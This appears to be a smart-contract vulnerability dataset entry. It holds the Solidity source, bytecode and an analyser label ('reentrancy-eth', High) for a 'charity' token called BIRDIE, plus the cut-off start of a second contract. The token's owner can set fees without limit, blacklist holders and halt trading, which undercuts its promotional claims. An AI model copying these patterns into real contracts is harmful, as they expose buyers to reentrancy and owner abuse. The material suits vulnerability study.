/** ___ ___ ___ ___ ___ ___ | _ ) |_ _| | _ \ | \ |_ _| | __| | _ \ | | | / | |) | | | | _| |___/ |___| |_|_\ |___/ |___| |___| _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' - Charity token, super low tax, 5% tax will be donated to the nature conservancy (TNC) - 3% tax will be used for marketing THE ONE AND ONY CONTRACT !! Verified and for anyone to review before launch !! Max buy 1.5% 4 ETH in liquidity no team tokens or CEX bullshit Bots will be rekt !! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BIRDIE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Birdie"; string private constant _symbol = "BIRDIE "; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 5; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x7D7614f47A3fd9Ac550E2617A2F62F84205f6480); address payable private _marketingAddress = payable(0x7D7614f47A3fd9Ac550E2617A2F62F84205f6480); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1500000000000 * 10**9; uint256 public _maxWalletSize = 3000000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104b157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611955565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600681526542697264696560d01b60208201525b6040516102369190611a1a565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a6f565b61069b565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b5069152d02c7e14af68000005b604051908152602001610236565b3480156102da57600080fd5b5061025f6102e9366004611a9b565b6106b2565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610236565b34801561032c57600080fd5b5060155461028f906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611adc565b61071b565b34801561036c57600080fd5b506101fc61037b366004611b09565b610766565b34801561038c57600080fd5b506101fc6107ae565b3480156103a157600080fd5b506102c06103b0366004611adc565b6107f9565b3480156103c157600080fd5b506101fc61081b565b3480156103d657600080fd5b506101fc6103e5366004611b24565b61088f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611adc565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b031661028f565b34801561045757600080fd5b506101fc610466366004611b09565b6108be565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b5060408051808201909152600781526602124a92224a2960cd1b6020820152610229565b3480156104bd57600080fd5b506101fc6104cc366004611b24565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b3d565b610935565b3480156104fd57600080fd5b5061025f61050c366004611a6f565b610973565b34801561051d57600080fd5b5061025f61052c366004611adc565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b6f565b6109d4565b34801561058257600080fd5b506102c0610591366004611bf3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b24565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611adc565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c2c565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c61565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c8d565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611da7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c2c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c2c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c2c565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c2c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c2c565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c2c565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c2c565b60005b82811015610a6f578160056000868685818110610a2057610a20611c61565b9050602002016020810190610a359190611adc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c8d565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c2c565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c2c565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611ca8565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f84848484611460565b600081848411156112125760405162461bcd60e51b81526004016106269190611a1a565b50600061121f8486611cc0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361148e565b90506112df83826114b1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c61565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab9190611cd7565b816001815181106113be576113be611c61565b6001600160a01b0392831660209182029290920101526014546113e49130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141d908590600090869030904290600401611cf4565b600060405180830381600087803b15801561143757600080fd5b505af115801561144b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146d5761146d6114f3565b611478848484611521565b80610a6f57610a6f600e54600c55600f54600d55565b600080600061149b611618565b90925090506114aa82826114b1565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165c565b600c541580156115035750600d54155b1561150a57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115338761168a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156590876116e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115949086611729565b6001600160a01b0389166000908152600260205260409020556115b681611788565b6115c084836117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160591815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af680000061163582826114b1565b8210156116535750506006549269152d02c7e14af680000092509050565b90939092509050565b6000818361167d5760405162461bcd60e51b81526004016106269190611a1a565b50600061121f8486611d65565b60008060008060008060008060006116a78a600c54600d546117f6565b92509250925060006116b761148e565b905060008060006116ca8e87878761184b565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117368385611ca8565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179261148e565b905060006117a0838361189b565b306000908152600260205260409020549091506117bd9082611729565b30600090815260026020526040902055505050565b6006546117df90836116e7565b6006556007546117ef9082611729565b6007555050565b6000808080611810606461180a898961189b565b906114b1565b90506000611823606461180a8a8961189b565b9050600061183b826118358b866116e7565b906116e7565b9992985090965090945050505050565b600080808061185a888661189b565b90506000611868888761189b565b90506000611876888861189b565b905060006118888261183586866116e7565b939b939a50919850919650505050505050565b6000826118aa575060006106ac565b60006118b68385611d87565b9050826118c38583611d65565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195081611930565b919050565b6000602080838503121561196857600080fd5b823567ffffffffffffffff8082111561198057600080fd5b818501915085601f83011261199457600080fd5b8135818111156119a6576119a661191a565b8060051b604051601f19603f830116810181811085821117156119cb576119cb61191a565b6040529182528482019250838101850191888311156119e957600080fd5b938501935b82851015611a0e576119ff85611945565b845293850193928501926119ee565b98975050505050505050565b600060208083528351808285015260005b81811015611a4757858101830151858201604001528201611a2b565b81811115611a59576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8257600080fd5b8235611a8d81611930565b946020939093013593505050565b600080600060608486031215611ab057600080fd5b8335611abb81611930565b92506020840135611acb81611930565b929592945050506040919091013590565b600060208284031215611aee57600080fd5b81356112df81611930565b8035801515811461195057600080fd5b600060208284031215611b1b57600080fd5b6112df82611af9565b600060208284031215611b3657600080fd5b5035919050565b60008060008060808587031215611b5357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8457600080fd5b833567ffffffffffffffff80821115611b9c57600080fd5b818601915086601f830112611bb057600080fd5b813581811115611bbf57600080fd5b8760208260051b8501011115611bd457600080fd5b602092830195509350611bea9186019050611af9565b90509250925092565b60008060408385031215611c0657600080fd5b8235611c1181611930565b91506020830135611c2181611930565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca157611ca1611c77565b5060010190565b60008219821115611cbb57611cbb611c77565b500190565b600082821015611cd257611cd2611c77565b500390565b600060208284031215611ce957600080fd5b81516112df81611930565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d445784516001600160a01b031683529383019391830191600101611d1f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da157611da1611c77565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012baebcc4e4d568807ea5a6f30fb817c7eba2edf790839defd496474a36f6f4a64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,345
0xc14b0046a6fdd15834722544e185bb8823fe5410
pragma solidity ^0.4.21 ; interface IERC20Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenlender) public constant returns (uint balance); function allowance(address tokenlender, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenlender, address indexed spender, uint tokens); } contract LLV_v31_4 { address owner ; function LLV_v31_4 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID = 11211 ; function setID ( uint256 newID ) public onlyOwner { ID = newID ; } function getID () public constant returns ( uint256 ) { return ID ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID_control = 1000 ; function setID_control ( uint256 newID_control ) public onlyOwner { ID_control = newID_control ; } function getID_control () public constant returns ( uint256 ) { return ID_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd = 1000 ; function setCmd ( uint256 newCmd ) public onlyOwner { Cmd = newCmd ; } function getCmd () public constant returns ( uint256 ) { return Cmd ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd_control = 1000 ; function setCmd_control ( uint256 newCmd_control ) public onlyOwner { Cmd_control = newCmd_control ; } function getCmd_control () public constant returns ( uint256 ) { return Cmd_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function = 1000 ; function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner { Depositary_function = newDepositary_function ; } function getDepositary_function () public constant returns ( uint256 ) { return Depositary_function ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function_control = 1000 ; function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner { Depositary_function_control = newDepositary_function_control ; } function getDepositary_function_control () public constant returns ( uint256 ) { return Depositary_function_control ; } address public User_1 = msg.sender ; address public User_2 ;// _User_2 ; address public User_3 ;// _User_3 ; address public User_4 ;// _User_4 ; address public User_5 ;// _User_5 ; IERC20Token public Securities_1 ;// _Securities_1 ; IERC20Token public Securities_2 ;// _Securities_2 ; IERC20Token public Securities_3 ;// _Securities_3 ; IERC20Token public Securities_4 ;// _Securities_4 ; IERC20Token public Securities_5 ;// _Securities_5 ; uint256 public Standard_1 ;// _Standard_1 ; uint256 public Standard_2 ;// _Standard_2 ; uint256 public Standard_3 ;// _Standard_3 ; uint256 public Standard_4 ;// _Standard_4 ; uint256 public Standard_5 ;// _Standard_5 ; function Eligibility_Group_1 ( address _User_1 , IERC20Token _Securities_1 , uint256 _Standard_1 ) public onlyOwner { User_1 = _User_1 ; Securities_1 = _Securities_1 ; Standard_1 = _Standard_1 ; } function Eligibility_Group_2 ( address _User_2 , IERC20Token _Securities_2 , uint256 _Standard_2 ) public onlyOwner { User_2 = _User_2 ; Securities_2 = _Securities_2 ; Standard_2 = _Standard_2 ; } function Eligibility_Group_3 ( address _User_3 , IERC20Token _Securities_3 , uint256 _Standard_3 ) public onlyOwner { User_3 = _User_3 ; Securities_3 = _Securities_3 ; Standard_3 = _Standard_3 ; } function Eligibility_Group_4 ( address _User_4 , IERC20Token _Securities_4 , uint256 _Standard_4 ) public onlyOwner { User_4 = _User_4 ; Securities_4 = _Securities_4 ; Standard_4 = _Standard_4 ; } function Eligibility_Group_5 ( address _User_5 , IERC20Token _Securities_5 , uint256 _Standard_5 ) public onlyOwner { User_5 = _User_5 ; Securities_5 = _Securities_5 ; Standard_5 = _Standard_5 ; } // // function retrait_1 () public { require( msg.sender == User_1 ); require( Securities_1.transfer(User_1, Standard_1) ); require( ID == ID_control ); require( Cmd == Cmd_control ); 